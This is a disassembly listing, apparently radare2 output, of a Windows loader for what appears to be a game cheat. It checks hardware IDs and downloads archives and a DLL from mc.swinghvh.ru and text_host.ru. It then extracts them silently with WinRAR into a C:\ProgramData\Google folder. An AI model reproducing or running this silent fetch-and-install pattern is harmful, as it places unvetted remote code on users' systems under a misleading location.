mov eax, dword [rbp + 0x3da4]
and eax, 8
test eax, eax
je 0x140023864
and dword [rbp + 0x3da4], 0xfffffff7
lea rcx, [rbp + 0x29c8]
call fcn.140011212
nop
mov eax, dword [rbp + 0x3da4]
and eax, 4
test eax, eax
je 0x140023885
and dword [rbp + 0x3da4], 0xfffffffb
lea rcx, [rbp + 0x2928]
call fcn.140011212
nop
mov eax, dword [rbp + 0x3da4]
and eax, 2
test eax, eax
je 0x1400238a6
and dword [rbp + 0x3da4], 0xfffffffd
lea rcx, [rbp + 0x2888]
call fcn.140011212
nop
mov eax, dword [rbp + 0x3da4]
and eax, 1
test eax, eax
je 0x1400238c6
and dword [rbp + 0x3da4], 0xfffffffe
lea rcx, [rbp + 0x27e8]
call fcn.140011212
movzx eax, byte [rbp + 0x2764]
test eax, eax
je 0x1400238f0
lea rcx, str.C:ProgramDataGooglelaunchCrypt.jar
call qword [sym.imp.ucrtbased.dll_remove]
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
call fcn.1400119e7
mov edx, 0x20
lea rcx, [rbp + 0x478]
call fcn.140011127
lea rdx, str.6CBF41EA_0319_11EF_868C_806E6F6E6963
lea rcx, [rbp + 0x3dd0]
call fcn.140011500
nop
lea rdx, str.80AEA197_CC4D_11EC_9F8A_806E6F6E6963
lea rcx, [rbp + 0x3df8]
call fcn.140011500
nop
lea rdx, str.D2E6B9C0_2171_11EC_9EEC_806E6F6E6963
lea rcx, [rbp + 0x3e20]
call fcn.140011500
nop
lea rdx, str.B7B4B381_8E93_11EC_924D_806E6F6E6963
lea rcx, [rbp + 0x3e48]
call fcn.140011500
nop
lea rcx, [rbp + 0x2aa4]
call fcn.14001122b
mov qword [rbp + 0x3e78], rax
lea rcx, [rbp + 0x3e70]
mov r8, rcx
lea rdx, [rbp + 0x3dd0]
lea rcx, [rbp + 0x2ac8]
call fcn.140011ad7
lea rcx, [rbp + 0x3d80]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rbp + 0x3e78]
mov r8, rax
lea rdx, [rbp + 0x3d80]
lea rcx, [rbp + 0x478]
call fcn.140011843
nop
lea r9, [fcn.140011212]
mov r8d, 4
mov edx, 0x28
lea rcx, [rbp + 0x3dd0]
call fcn.1400112e9
lea rcx, [rbp + 0x4b8]
call fcn.1400117d5
nop
mov byte [rbp + 0x4f4], 0
lea rax, [rbp + 0x478]
mov qword [rbp + 0x518], rax
mov rcx, qword [rbp + 0x518]
call fcn.140011343
mov qword [rbp + 0x538], rax
mov rcx, qword [rbp + 0x518]
call fcn.140011334
mov qword [rbp + 0x558], rax
jmp 0x140023a2d
mov rax, qword [rbp + 0x538]
add rax, 0x28
mov qword [rbp + 0x538], rax
mov rax, qword [rbp + 0x558]
cmp qword [rbp + 0x538], rax
je 0x140023a70
mov rax, qword [rbp + 0x538]
mov qword [rbp + 0x578], rax
mov rdx, qword [rbp + 0x578]
lea rcx, [rbp + 0x4b8]
call fcn.1400112f3
movzx eax, al
test eax, eax
je 0x140023a6e
mov byte [rbp + 0x4f4], 1
jmp 0x140023a70
jmp 0x140023a1b
movzx eax, byte [rbp + 0x4f4]
test eax, eax
je 0x140023a7d
jmp 0x140023a82
call fcn.140011370
lea rax, [rbp + 0x2af8]
mov qword [rbp + 0x2b38], rax
lea rdx, str.https:__text_host.ru_raw_tekushchee_obnovlenie_chita
mov rcx, qword [rbp + 0x2b38]
call fcn.140011500
mov qword [rbp + 0x3e78], rax
mov rdx, qword [rbp + 0x3e78]
lea rcx, [rbp + 0x598]
call fcn.1400116e0
nop
lea rax, [rbp + 0x2b58]
mov qword [rbp + 0x2b98], rax
lea rdx, str.https:__text_host.ru_raw_sled_obnovlenie_chita
mov rcx, qword [rbp + 0x2b98]
call fcn.140011500
mov qword [rbp + 0x3e78], rax
mov rdx, qword [rbp + 0x3e78]
lea rcx, [rbp + 0x5d8]
call fcn.1400116e0
nop
lea rdx, str.C:ProgramDataGooglelaunch_nativesprotector.dll
lea rcx, [rbp + 0x618]
call fcn.140011500
nop
mov edx, 0x110
lea rcx, [rbp + 0x660]
call fcn.1400117c1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 1
lea rdx, str.C:ProgramDataGooglelaunch_nativesprotector.dll
lea rcx, [rbp + 0x660]
call fcn.140011a5f
nop
lea rcx, [rbp + 0x788]
call fcn.140011b36
nop
lea rdx, [rbp + 0x788]
lea rcx, [rbp + 0x660]
call fcn.14001164f
lea rcx, [rbp + 0x660]
call fcn.14001164a
lea rcx, [rbp + 0x618]
call fcn.1400118ca
movzx eax, al
test eax, eax
jne 0x140023beb
mov edx, 0x108
lea rcx, [rbp + 0x7d0]
call fcn.140011474
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x618]
lea rcx, [rbp + 0x7d0]
call fcn.140011b8b
nop
lea rdx, [rbp + 0x598]
lea rcx, [rbp + 0x7d0]
call fcn.140011a05
lea rcx, [rbp + 0x7d0]
call fcn.1400115c8
nop
lea rcx, [rbp + 0x7d0]
call fcn.1400112d5
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
lea rax, str.C:_ProgramData_Google_launch_assets
mov qword [rbp + 0x8f8], rax
lea rax, str.C:_ProgramData_Google_launch_natives
mov qword [rbp + 0x918], rax
lea rax, str.C:_ProgramData_Google_jdk_conf_security_anti_protect_Crypt.jar
mov qword [rbp + 0x938], rax
lea rax, str.C:_ProgramData_Google_jdk
mov qword [rbp + 0x958], rax
lea rax, str.C:_ProgramData_Google_launch_Crypt.bat
mov qword [rbp + 0x978], rax
lea rdx, [rbp + 0x998]
mov rcx, qword [rbp + 0x958]
call fcn.140027720
test eax, eax
jne 0x140023c6d
lea rdx, [0x140035a25]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
jmp 0x140023ee9
mov edx, 1
lea rcx, [rbp + 0x2bb8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2be8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2c18]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x2c48]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140036d98]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.C:ProgramDataGooglejdk.rar
lea rcx, [rbp + 0x9e8]
call fcn.140011500
lea rcx, [rbp + 0x9e8]
call fcn.140011131
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.http:__mc.swinghvh.ru_jdk.rar
xor ecx, ecx
call fcn.140011299
mov dword [rbp + 0xa24], eax
lea rcx, str._C:Program_FilesWinRARWinRAR.exe__x__O__IBCK_C:ProgramDataGooglejdk.rar_C:ProgramDataGoogle
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0x9e8]
call fcn.140011212
lea rdx, [rbp + 0x998]
mov rcx, qword [rbp + 0x8f8]
call fcn.140027720
test eax, eax
jne 0x140023f18
lea rdx, [0x140035a25]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
jmp 0x14002411c
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2c78]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2ca8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140036eb0]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, str.C:ProgramDataGooglelaunch_assets.rar
lea rcx, [rbp + 0xa48]
call fcn.140011500
lea rcx, [rbp + 0xa48]
call fcn.140011131
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.http:__mc.swinghvh.ru_assets.rar
xor ecx, ecx
call fcn.140011299
mov dword [rbp + 0xa84], eax
lea rcx, str._C:Program_FilesWinRARWinRAR.exe__x__O__IBCK_C:ProgramDataGooglelaunch_assets.rar_C:ProgramDataGooglelaunch
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0xa48]
call fcn.140011212
lea rdx, [rbp + 0x998]
mov rcx, qword [rbp + 0x918]
call fcn.140027720
test eax, eax
jne 0x14002414b
lea rdx, [0x140035a25]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
jmp 0x1400243c7
mov edx, 1
lea rcx, [rbp + 0x2cd8]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035c00]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x140035d50]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._______________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2d08]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 0x44
lea rcx, [rbp + 0x2d38]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 1
lea rcx, [rbp + 0x2d68]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140036fe0]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.C:ProgramDataGooglelaunch_natives.rar
lea rcx, [rbp + 0xaa8]
call fcn.140011500
lea rcx, [rbp + 0xaa8]
call fcn.140011131
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
lea rdx, str.http:__mc.swinghvh.ru_natives.rar
xor ecx, ecx
call fcn.140011299
mov dword [rbp + 0xae4], eax
lea rcx, str._C:Program_FilesWinRARWinRAR.exe__x__O__IBCK_C:ProgramDataGooglelaunch_natives.rar_C:ProgramDataGooglelaunch
call qword [sym.imp.ucrtbased.dll_system]
lea rcx, [rbp + 0xaa8]
call fcn.140011212
lea rdx, [rbp + 0x998]
mov rcx, qword [rbp + 0x938]
call fcn.140027720
test eax, eax
jne 0x1400243f6
lea rdx, [0x140035a25]
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
jmp 0x140024672
mov edx, 1
lea rcx, [rbp + 0x2d98]
call fcn.1400112a3
mov rdx, rax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140011447
lea rdx, [0x140035a25]
mov rcx, rax
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [0x140035f04]
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, str.___________________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14001115e
lea rdx, [0x14001106e]
mov rcx, rax
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str._____________________________________________________________________________
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
